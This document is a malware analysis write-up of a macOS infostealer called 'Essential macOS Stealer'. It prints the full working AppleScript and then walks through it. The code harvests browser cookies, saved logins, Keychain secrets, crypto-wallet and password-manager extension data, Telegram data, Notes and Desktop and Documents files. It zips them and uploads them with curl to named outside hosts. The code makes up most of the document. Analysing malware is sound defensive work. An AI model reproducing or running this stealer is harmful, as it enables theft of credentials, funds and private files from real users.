InfoStealer · Dropper
Essential macOS Stealer - script.sh
- Author
- Moise Medici
- Updated
- 10 Sept 2026 · Completed
- Difficulty
- Easy
- Platform
- Capabilities
- Tags
Stage5 smodule Code Analysis
The full cleaned-up code is shown below, with most Chrome extensions removed for brevity. The complete list remains available in the cleaned-up script.
on ensureDirectoryExists(dirPath) try do shell script "mkdir -p " & quoted form of (POSIX path of dirPath) end tryend ensureDirectoryExists
on parentPathOf(pathString) try set slashOffsetFromEnd to offset of "/" in (reverse of every character of pathString) as string return text 1 thru -(slashOffsetFromEnd + 1) of pathString end tryend parentPathOf
on appendTextToFile(contentText, outputPath) try ensureDirectoryExists(parentPathOf(outputPath)) set fileHandle to open for access outputPath with write permission write contentText to fileHandle starting at eof close access fileHandle end tryend appendTextToFile
on copyFileToPath(sourcePath, destPath) try ensureDirectoryExists(parentPathOf(destPath)) do shell script "cat " & quoted form of sourcePath & " > " & quoted form of destPath end tryend copyFileToPath
on isDirectoryPath(pathString) try set fileTypeOutput to do shell script "file -b " & quoted form of (POSIX path of pathString) return fileTypeOutput ends with "directory" end tryend isDirectoryPath
on copyDirectoryTreeFiltered(sourceDir, destDir) try set ignoreNames to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "_update__"} set folderEntries to list folder sourceDir without invisibles ensureDirectoryExists(destDir) repeat with entryName in folderEntries if entryName is not in ignoreNames then set sourceItem to sourceDir / entryName set destItem to destDir / entryName if isDirectoryPath(sourceItem) then copyDirectoryTreeFiltered(sourceItem, destItem) else copyFileToPath(sourceItem, destItem) end if end if end repeat end tryend copyDirectoryTreeFiltered
on harvestMatchingExtensionDirectories(searchRoot, outputRoot, extensionMap, appendIndexedDBFolder) try set folderEntries to list folder searchRoot without invisibles repeat with entryName in folderEntries repeat with mappingPair in extensionMap set extensionId to item 1 of mappingPair set extensionLabel to item 2 of mappingPair if entryName contains extensionId then set sourcePath to searchRoot & entryName set destPath to outputRoot & "_" & extensionLabel if appendIndexedDBFolder then set destPath to destPath & "/IndexedDB/" end if copyDirectoryTreeFiltered(sourcePath, destPath) end if end repeat end repeat end tryend harvestMatchingExtensionDirectories
on collectChromiumArtifacts(stagingDir, browserSpecList) try set walletExtensionMap to { {"nkbihfbeogaeaoehlefnkodbefgpgknn", "Metamask Wallet"}, {"egjidjbpglichdcondbcbdnbeeppgdph", "Trust Wallet"}, {"cjmkndjhnagcfbpiemnkdpomccnjblmj", "Finnie Wallet"}, {"hifafgmccdpekplomjjkcfgodnhcellj", "Crypto.com Wallet"}, [... most are removed for brevity ... ] {"ibjflpbmadchofnbpppegdbnifdgincp", "DID Wallet"}, {"miccfnlbijkmbckaagllchcfknjhgfnk", "Speed Bitcoin Lightning Wallet"}, {"idpdilbfamoopcfofbipefhmmnflljfi", "FACT wallet"}, {"lpnfhpbpmlobjlgkdmnjieeihjmihhjd", "Console Wallet"}} set passwordManagerExtensionMap to { {"pejdijmoenmkgeppbflobdenhhabjlaj", "iCloud Passwords"}, {"hdokiejnpimakedhajhdlcegeplioahd", "LastPass Password Manager"}, {"aeblfdkhhhdcdjpifhhbdiojplfjncoa", "1Password"}, {"kmbjcfefmceiibhnddbeenklcmpehmdd", "TweakPass"}, {"eiaeiblijfjekdanodkjadfinkhbfgcd", "NordPass"}, {"bfogiafebfohielmmehodmfbbebbbpei", "Keeper"}, {"ghmbeldphafepmbegfdlkpapadhbakde", "Proton Pass"}, {"nngceckbapebfimnlniiiahkandclblb", "Bitwarden"}, {"mmhlniccooihdimnnjhamobppdhaolme", "Kee Password"}, {"cnlhokffphohmfcddnibpohmkdfafdli", "MultiPassword"}, {"nhhldecdfagpbfggphklkaeiocfnaafm", "saaspass-dot-com"}, {"bnfdmghkeppfadphbnkjcicejfepnbfe", "Sticky Password"}, {"hifbblnjfcimjnlhibannjoclibgedmd", "MasterPassword"}, {"kmcfomidfpdkfieipokbalgegidffkal", "Enpass Password Manager"}, {"fdjamakpfbbddfjaooikfcpapjohcfmg", "Dashlane Password Manager"}, {"bhghoamapcdpbohphigoooaddinpkbai", "Authenticator"}} set browserArtifactPaths to { "/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/History", "/Local Extension Settings/", "/IndexedDB/"} repeat with browserSpec in browserSpecList set browserLabel to item 1 of browserSpec set browserRoot to item 2 of browserSpec set browserOutputRoot to stagingDir & "Browsers/" & browserLabel try set profileNames to list folder browserRoot without invisibles repeat with profileName in profileNames set profileName to profileName as string if profileName is equal to "Default" or profileName contains "Profile" then repeat with artifactSuffix in browserArtifactPaths set artifactSuffix to artifactSuffix as string set sourceArtifactPath to browserRoot & profileName & artifactSuffix if artifactSuffix is equal to "/Network/Cookies" then set artifactSuffix to "/Cookies" end if if artifactSuffix is equal to "/Local Extension Settings/" then harvestMatchingExtensionDirectories(sourceArtifactPath, stagingDir & "Wallets/" & browserLabel & profileName, walletExtensionMap, false) harvestMatchingExtensionDirectories(sourceArtifactPath, stagingDir & "Extensions/" & browserLabel & profileName, passwordManagerExtensionMap, false) else if artifactSuffix is equal to "/IndexedDB/" then harvestMatchingExtensionDirectories(sourceArtifactPath, stagingDir & "Wallets/" & browserLabel & profileName, walletExtensionMap, true) harvestMatchingExtensionDirectories(sourceArtifactPath, stagingDir & "Extensions/" & browserLabel & profileName, passwordManagerExtensionMap, true) else if artifactSuffix is equal to "/Local Storage/" then copyDirectoryTreeFiltered(sourceArtifactPath, stagingDir & "Wallets/Local Storage_" & browserLabel & profileName) else set destArtifactPath to browserOutputRoot & profileName & artifactSuffix copyFileToPath(sourceArtifactPath, destArtifactPath) end if end repeat end if end repeat end try end repeat end tryend collectChromiumArtifacts
on collectFirefoxArtifacts(stagingDir, firefoxSpecList) set firefoxArtifactPaths to { "/cert9.db", "/cookies.sqlite", "/cookies.sqlite-wal", "/formhistory.sqlite", "/key4.db", "/logins-backup.json", "/logins.json", "/signons.sqlite", "/places.sqlite"} repeat with firefoxSpec in firefoxSpecList set browserLabel to item 1 of firefoxSpec set firefoxProfilesRoot to item 2 of firefoxSpec set browserOutputRoot to stagingDir & "Browsers/" & browserLabel try set profileNames to list folder firefoxProfilesRoot without invisibles repeat with profileName in profileNames set profileName to profileName as string if profileName contains "Profile" or profileName contains ".default" then repeat with artifactSuffix in firefoxArtifactPaths set artifactSuffix to artifactSuffix as string set sourceArtifactPath to firefoxProfilesRoot & profileName & artifactSuffix set destArtifactPath to browserOutputRoot & profileName & artifactSuffix copyFileToPath(sourceArtifactPath, destArtifactPath) end repeat end if end repeat end try end repeatend collectFirefoxArtifacts
on collectTelegramTdata(stagingDir, appSupportPath) try copyDirectoryTreeFiltered(appSupportPath & "Telegram Desktop/tdata/", stagingDir & "Telegram Desktop/") end tryend collectTelegramTdata
on copyExistingDirectoryPairs(stagingDir, directoryPairList) repeat with directoryPair in directoryPairList try copyDirectoryTreeFiltered(item 2 of directoryPair, stagingDir & item 1 of directoryPair) end try end repeatend copyExistingDirectoryPairs
on collectStandaloneWalletDirs(walletSpecList, outputBaseDir, categoryName) try set existingWalletSpecs to {} repeat with walletSpec in walletSpecList try set walletLabel to item 1 of walletSpec set walletPath to item 2 of walletSpec as string if (do shell script "test -d " & quoted form of walletPath & " && echo exists || echo no") is equal to "exists" then set end of existingWalletSpecs to {walletLabel, walletPath} end if end try end repeat if (length of existingWalletSpecs) > 0 then try do shell script "mkdir -p " & quoted form of (outputBaseDir & categoryName) repeat with walletSpec in existingWalletSpecs try set walletLabel to item 1 of walletSpec set walletPath to item 2 of walletSpec as string set destWalletPath to outputBaseDir & categoryName & "/" & walletLabel do shell script "cp -R " & quoted form of walletPath & " " & quoted form of destWalletPath end try end repeat end try end if end tryend collectStandaloneWalletDirs
on readGenericPasswordFromKeychain(serviceName) try do shell script "security find-generic-password -s " & quoted form of serviceName & " > /dev/null 2>&1" on error return "" end try repeat try set secretValue to do shell script "security find-generic-password -w -s " & quoted form of serviceName if secretValue ends with linefeed then set secretValue to text 1 thru -2 of secretValue return secretValue on error delay 0.1 end try end repeatend readGenericPasswordFromKeychain
on dirnameString(pathString) set AppleScript's text item delimiters to "/" set pathParts to text items of pathString set AppleScript's text item delimiters to "" if (count of pathParts) ≤ 1 then return "." set parentParts to items 1 thru -2 of pathParts set AppleScript's text item delimiters to "/" set parentPath to parentParts as string set AppleScript's text item delimiters to "" return parentPathend dirnameString
on randomizeRelativeSubpath(relativeParentPath, topLevelLabel) global seenOriginalSubpaths, assignedRandomSubpaths, usedRandomIds if relativeParentPath is "." then return "."
set AppleScript's text item delimiters to "/" set relativeParts to text items of relativeParentPath set AppleScript's text item delimiters to ""
set randomizedParts to {} set currentPathPrefix to topLevelLabel repeat with i from 1 to count of relativeParts set currentSegment to item i of relativeParts set currentPathPrefix to currentPathPrefix & "/" & currentSegment
set existingIndex to 0 repeat with j from 1 to count of seenOriginalSubpaths if item j of seenOriginalSubpaths is currentPathPrefix then set existingIndex to j exit repeat end if end repeat
if existingIndex > 0 then set randomId to item existingIndex of assignedRandomSubpaths else repeat set randomId to (random number from 100000 to 999999) as string if randomId is not in usedRandomIds then exit repeat end repeat set end of usedRandomIds to randomId set end of seenOriginalSubpaths to currentPathPrefix set end of assignedRandomSubpaths to randomId end if
set end of randomizedParts to randomId end repeat
set AppleScript's text item delimiters to "/" set randomizedPath to randomizedParts as string set AppleScript's text item delimiters to "" return randomizedPathend randomizeRelativeSubpath
on getHardwareUUID() set uuidCommands to { "ioreg -rd1 -c IOPlatformExpertDevice | awk -F\" '\/IOPlatformUUID\/{print $4}'", "ioreg -rd1 -c IOPlatformExpertDevice | grep -o 'IOPlatformUUID[^,]*' | cut -d'\"' -f4", "system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'", "system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'"} repeat with shellCmd in uuidCommands try set uuidValue to do shell script shellCmd if length of uuidValue is 36 and uuidValue contains "-" then return uuidValue end try end repeatend getHardwareUUID
set currentUsername to (system attribute "USER")set hardwareUUID to getHardwareUUID()set userHomePath to "/Users/" & currentUsernameset stagingDir to "/tmp/1e23d6097631b47c39f3289489aa94001788881737/"set storedPasswordPath to POSIX path of (path to home folder) & ".passphrase"set capturedPassword to do shell script "cat " & quoted form of storedPasswordPath
set maxSingleFileBytes to 250000set maxTotalGrabBytes to 5000000set collectedFileIndex to 0set collectedTotalBytes to 0set seenOriginalSubpaths to {}set assignedRandomSubpaths to {}set usedRandomIds to {}set createdOutputDirs to {}
set appSupportPath to userHomePath & "/Library/Application Support/"
try set externalIP to do shell script "curl -fsSL http://api.ipify.org/"on error set externalIP to "error"end try
set chromiumProfileTargets to { {"Yandex", appSupportPath & "Yandex/YandexBrowser"}, {"Chrome", appSupportPath & "Google/Chrome/"}, {"Brave", appSupportPath & "BraveSoftware/Brave-Browser/"}, {"Edge", appSupportPath & "Microsoft Edge/"}, {"Vivaldi", appSupportPath & "Vivaldi/"}, {"Opera", appSupportPath & "com.operasoftware.Opera/"}, {"OperaGX", appSupportPath & "com.operasoftware.OperaGX/"}, {"Chrome Beta", appSupportPath & "Google/Chrome Beta/"}, {"Chrome Canary", appSupportPath & "Google/Chrome Canary/"}, {"Chromium", appSupportPath & "Chromium/"}, {"Chrome Dev", appSupportPath & "Google/Chrome Dev/"}}
set walletTargets to { {"Exodus", appSupportPath & "Exodus/"}, {"Electrum", userHomePath & "/.electrum/wallets/"}, {"Atomic", appSupportPath & "Atomic Wallet/Local Storage/leveldb/"}, {"Guarda", appSupportPath & "Guarda/"}, {"Coinomi", appSupportPath & "Coinomi/wallets/"}, {"Sparrow", userHomePath & "/.sparrow/wallets/"}, {"Wasabi", userHomePath & "/.walletwasabi/client/Wallets/"}, {"Bitcoin Core", appSupportPath & "Bitcoin/"}, {"Armory", appSupportPath & "Armory/"}, {"Electron Cash", userHomePath & "/.electron-cash/wallets/"}, {"Monero", userHomePath & "/.bitmonero/wallets/"}, {"Litecoin Core", appSupportPath & "Litecoin/"}, {"DashCore", appSupportPath & "DashCore/"}, {"Dogecoin Core", appSupportPath & "Dogecoin/"}, {"Electrum Litecoin", userHomePath & "/.electrum-ltc/wallets/"}, {"BlueWallet", appSupportPath & "BlueWallet/"}, {"Zengo", appSupportPath & "Zengo/"}, {"Trust Wallet", appSupportPath & "Trust Wallet/"}, {"Ledger Live", appSupportPath & "Ledger Live/"}, {"Ledger Wallet", appSupportPath & "Ledger Wallet/"}, {"Trezor Suite", appSupportPath & "@trezor"}, {"TON Keeper", appSupportPath & "@tonkeeper"}}
set firefoxTargets to {{"Firefox", appSupportPath & "Firefox/Profiles/"}}
set macOSVersion to system version of (system info)set AppleScript's text item delimiters to "."set macOSVersionParts to text items of macOSVersionset AppleScript's text item delimiters to ""set macOSMajor to (item 1 of macOSVersionParts) as integerif (count of macOSVersionParts) ≥ 2 then set macOSMinor to (item 2 of macOSVersionParts) as integerelse set macOSMinor to 0end if
if (macOSMajor > 26) or (macOSMajor = 26 and macOSMinor ≥ 4) then set safeStorageServices to {"Chrome Safe Storage", "Microsoft Edge Safe Storage", "Brave Safe Storage", "Opera Safe Storage", "Vivaldi Safe Storage"} set safeStorageSecrets to "" repeat with serviceName in safeStorageServices set secretValue to readGenericPasswordFromKeychain(serviceName) if secretValue is not "" then set safeStorageSecrets to safeStorageSecrets & serviceName & ":" & secretValue & linefeed end if end repeat appendTextToFile(safeStorageSecrets, stagingDir & "Secrets")else copyFileToPath(userHomePath & "/Library/Keychains/login.keychain-db", stagingDir & "login.keychain-db")end if
appendTextToFile(currentUsername, stagingDir & "Username")appendTextToFile(capturedPassword, stagingDir & "Password")
try appendTextToFile("Essential macOS Stealer" & return & return, stagingDir & "UserInformation") appendTextToFile("Build: NITRO" & return, stagingDir & "UserInformation") appendTextToFile("Username: " & currentUsername, stagingDir & "UserInformation") appendTextToFile(return & "Password: " & capturedPassword & return, stagingDir & "UserInformation") appendTextToFile("IP Address: " & externalIP & return & return, stagingDir & "UserInformation") set systemProfileText to do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType" appendTextToFile(systemProfileText, stagingDir & "UserInformation")end try
try set desktopAlias to path to desktop folder as alias set desktopPath to POSIX path of desktopAlias set desktopPrefixLength to (length of desktopPath) + 1 set documentsAlias to path to documents folder as alias set documentsPath to POSIX path of documentsAlias set documentsPrefixLength to (length of documentsPath) + 1
tell application "Finder" if collectedTotalBytes < maxTotalGrabBytes then set desktopFiles to every file of entire contents of desktopAlias repeat with currentFile in desktopFiles if collectedTotalBytes ≥ maxTotalGrabBytes then exit repeat try set currentFileSize to size of currentFile if currentFileSize < maxSingleFileBytes and (collectedTotalBytes + currentFileSize) ≤ maxTotalGrabBytes then set collectedFileIndex to collectedFileIndex + 1 set sourceFilePath to POSIX path of (currentFile as alias) set relativeSourcePath to text desktopPrefixLength thru -1 of sourceFilePath
set fileExtension to name extension of currentFile if fileExtension is not missing value and fileExtension is not "" then set stagedFileName to (collectedFileIndex as string) & "." & fileExtension else set stagedFileName to (collectedFileIndex as string) end if
set relativeParentPath to my dirnameString(relativeSourcePath) set randomizedSubpath to my randomizeRelativeSubpath(relativeParentPath, "Desktop") if randomizedSubpath is "." then set destinationDir to stagingDir & "FileGrabber/Desktop" else set destinationDir to stagingDir & "FileGrabber/Desktop/" & randomizedSubpath end if set destinationPath to destinationDir & "/" & stagedFileName
if destinationDir is in createdOutputDirs then do shell script "cp " & quoted form of sourceFilePath & " " & quoted form of destinationPath else do shell script "mkdir -p " & quoted form of destinationDir & " && cp " & quoted form of sourceFilePath & " " & quoted form of destinationPath set end of createdOutputDirs to destinationDir end if set collectedTotalBytes to collectedTotalBytes + currentFileSize end if end try end repeat end if
if collectedTotalBytes < maxTotalGrabBytes then set documentFiles to every file of entire contents of documentsAlias repeat with currentFile in documentFiles if collectedTotalBytes ≥ maxTotalGrabBytes then exit repeat try set currentFileSize to size of currentFile if currentFileSize < maxSingleFileBytes and (collectedTotalBytes + currentFileSize) ≤ maxTotalGrabBytes then set collectedFileIndex to collectedFileIndex + 1 set sourceFilePath to POSIX path of (currentFile as alias) set relativeSourcePath to text documentsPrefixLength thru -1 of sourceFilePath
set fileExtension to name extension of currentFile if fileExtension is not missing value and fileExtension is not "" then set stagedFileName to (collectedFileIndex as string) & "." & fileExtension else set stagedFileName to (collectedFileIndex as string) end if
set relativeParentPath to my dirnameString(relativeSourcePath) set randomizedSubpath to my randomizeRelativeSubpath(relativeParentPath, "Documents") if randomizedSubpath is "." then set destinationDir to stagingDir & "FileGrabber/Documents" else set destinationDir to stagingDir & "FileGrabber/Documents/" & randomizedSubpath end if set destinationPath to destinationDir & "/" & stagedFileName
if destinationDir is in createdOutputDirs then do shell script "cp " & quoted form of sourceFilePath & " " & quoted form of destinationPath else do shell script "mkdir -p " & quoted form of destinationDir & " && cp " & quoted form of sourceFilePath & " " & quoted form of destinationPath set end of createdOutputDirs to destinationDir end if set collectedTotalBytes to collectedTotalBytes + currentFileSize end if end try end repeat end if end tellend try
try tell application "Notes" set allNotes to {} repeat with notesFolder in every folder try set allNotes to allNotes & (notes of notesFolder) end try end repeat
if (length of allNotes) > 0 then set notesOutputPath to stagingDir & "/Notes" do shell script "mkdir -p " & quoted form of stagingDir
set noteDumpText to "Notes count: " & ((length of allNotes) as string) & return & return set noteSeparator to "====================================================================="
repeat with currentNote in allNotes try set noteTitle to name of currentNote set noteBody to plaintext of currentNote set noteDumpText to noteDumpText & noteSeparator & return set noteDumpText to noteDumpText & "Title: " & noteTitle & return set noteDumpText to noteDumpText & noteSeparator & return set noteDumpText to noteDumpText & noteBody & return set noteDumpText to noteDumpText & noteSeparator & return end try end repeat
do shell script "echo " & quoted form of noteDumpText & " > " & quoted form of notesOutputPath end if end tellend try
try set safariCookieHelperScript to 'set baseFolderPath to (path to home folder as text) & "tempFolderC:"
tell application "Finder" set username to short user name of (system info)
if not (exists folder baseFolderPath) then do shell script "echo \'Creating base folder\'" make new folder at (path to home folder) with properties {name:"tempFolderC"} end if
try do shell script "echo \'Copying Safari cookies\'" set macOSVersion to do shell script "sw_vers -productVersion" if macOSVersion starts with "10.15" or macOSVersion starts with "10.14" then set safariFolder to ((path to library folder from user domain as text) & "Safari:") else set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:") end if duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing end tryend tell' do shell script "nohup sh -c " & quoted form of ("printf %s " & quoted form of safariCookieHelperScript & " | osascript") & " > /dev/null 2>&1 < /dev/null &" delay 3 set safariCookieTempPath to userHomePath & "/tempFolderC/Cookies.binarycookies" do shell script "cp -f " & quoted form of (POSIX path of (POSIX file safariCookieTempPath)) & " " & quoted form of (stagingDir & "/Cookies.binarycookies")end try
collectChromiumArtifacts(stagingDir, chromiumProfileTargets)collectFirefoxArtifacts(stagingDir, firefoxTargets)collectStandaloneWalletDirs(walletTargets, stagingDir, "Wallets")collectTelegramTdata(stagingDir, appSupportPath)
do shell script "ditto -c -k --sequesterRsrc " & stagingDir & " /tmp/1e23d6097631b47c39f3289489aa94001788881737.zip"
try set zipPath to "/tmp/1e23d6097631b47c39f3289489aa94001788881737.zip" set zipSizeText to do shell script "stat -f%z " & quoted form of zipPath set zipSizeBytes to zipSizeText as integer set uploadSizeCutoffBytes to 90 * 1024 * 1024 if zipSizeBytes > uploadSizeCutoffBytes then set uploadCommand to "curl --max-time 3000 -F " & quoted form of "txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9" & " -F " & quoted form of ("file=@" & zipPath) & " -F " & quoted form of ("uuid=" & hardwareUUID) & " http://62.60.226.50/upload.php > /tmp/updstat.txt 2>&1" do shell script uploadCommand else try set uploadCommand to "curl --max-time 90 -F " & quoted form of "txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9" & " -F " & quoted form of ("file=@" & zipPath) & " -F " & quoted form of ("uuid=" & hardwareUUID) & " https://d9mjs.sbs/upload.php > /tmp/updstat.txt 2>&1" do shell script uploadCommand on error set uploadCommand to "curl --max-time 3000 -F " & quoted form of "txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9" & " -F " & quoted form of ("file=@" & zipPath) & " -F " & quoted form of ("uuid=" & hardwareUUID) & " http://62.60.226.50/upload.php > /tmp/updstat.txt 2>&1" do shell script uploadCommand end try end ifend tryGiven the size and complexity of this script, it is useful to start with the main routine and see what is invoked and when. The main routine starts at line 296, marked in the script above.
It starts by setting several variables, including the username, the hardwareUUID (using the same getHardwareUUID function as the previous stage), a staging directory at /tmp/1e23d6097631b47c39f3289489aa94001788881737/, the infected machine’s external IP address obtained via cURL from api.ipify.org, Chrome profile directories, wallet directories, and Firefox profile directories. This already suggests that the sample is an infostealer.
It then checks whether the macOS version is greater than 26 or at least 26.4 and uses the set operation to assign safeStorageServices to an array containing "Chrome Safe Storage", "Microsoft Edge Safe Storage", "Brave Safe Storage", "Opera Safe Storage", and "Vivaldi Safe Storage". For each service, it calls readGenericPasswordFromKeychain. If the function, which is reviewed shortly, returns a value, that value and the service name are appended to safeStorageSecrets using the serviceName:serviceValue format. The resulting safeStorageSecrets value is collected for later upload.
The contents of safeStorageSecrets are then written to a file named Secrets in the staging directory.
If the version is below 26, the copyFileToPath function copies /Library/Keychains/login.keychain-db to a file named login.keychain-db in the staging directory.
The readGenericPasswordFromKeychain function uses the security 9 utility to query the Keychain. The query is script "security find-generic-password -s service_name". The service names identify Keychain entries that return saved credentials when queried.
Next, the username, password, and IP address are written to the staging directory along with the string “Essential macOS Stealer”, which may identify the campaign or malware family. After that, system_profiler runs again to collect software and hardware information from the device.
The core of the script is the collection of data from native macOS apps through the collectXXX functions.
The script starts by interacting with Finder to enumerate files in ~/Desktop and ~/Documents and copy them into the staging directory under FileGrabber/Desktop/<random path> or FileGrabber/Documents/<random path>, where <random path> is generated by the randomizeRelativeSubpath function. It then interacts with Notes to dump all notes into a noteDumpText variable, which is saved to /Notes in the staging directory. Finally, it takes Safari cookies from the Library/Safari folder (via (path to library folder from user domain as text) & "Safari:") or from ~/Library/Containers/com.apple.Safari/Data/, depending on the macOS version. The file Cookies.binarycookies is copied to the staging directory.
The collectChromiumArtifacts function uses three lists: one containing wallet extensions such as “Metamask Wallet” and their extension IDs, one containing the corresponding ID-to-name mappings for password manager extensions such as Bitwarden, and a third containing paths to check, such as Login Data, History, and Cookies.
For each entry in chromiumProfileTargets, a variable defined at the beginning of the script that lists Chromium-based browsers and their paths, such as Vivaldi, the function iterates over each extension ID and directory. It calls harvestMatchingExtensionDirectories to copy the entire directory into a staging subdirectory for that browser and profile.
The same applies to Firefox-based browsers: their data is stored in SQLite databases, which are copied to the staging directory.
The standalone wallet applications and Telegram are handled by copying their directories into the staging directory.
Once everything is copied, the staging directory is zipped and uploaded with cURL to either http://62.60.226.50/upload.php or https://d9mjs.sbs/upload.php.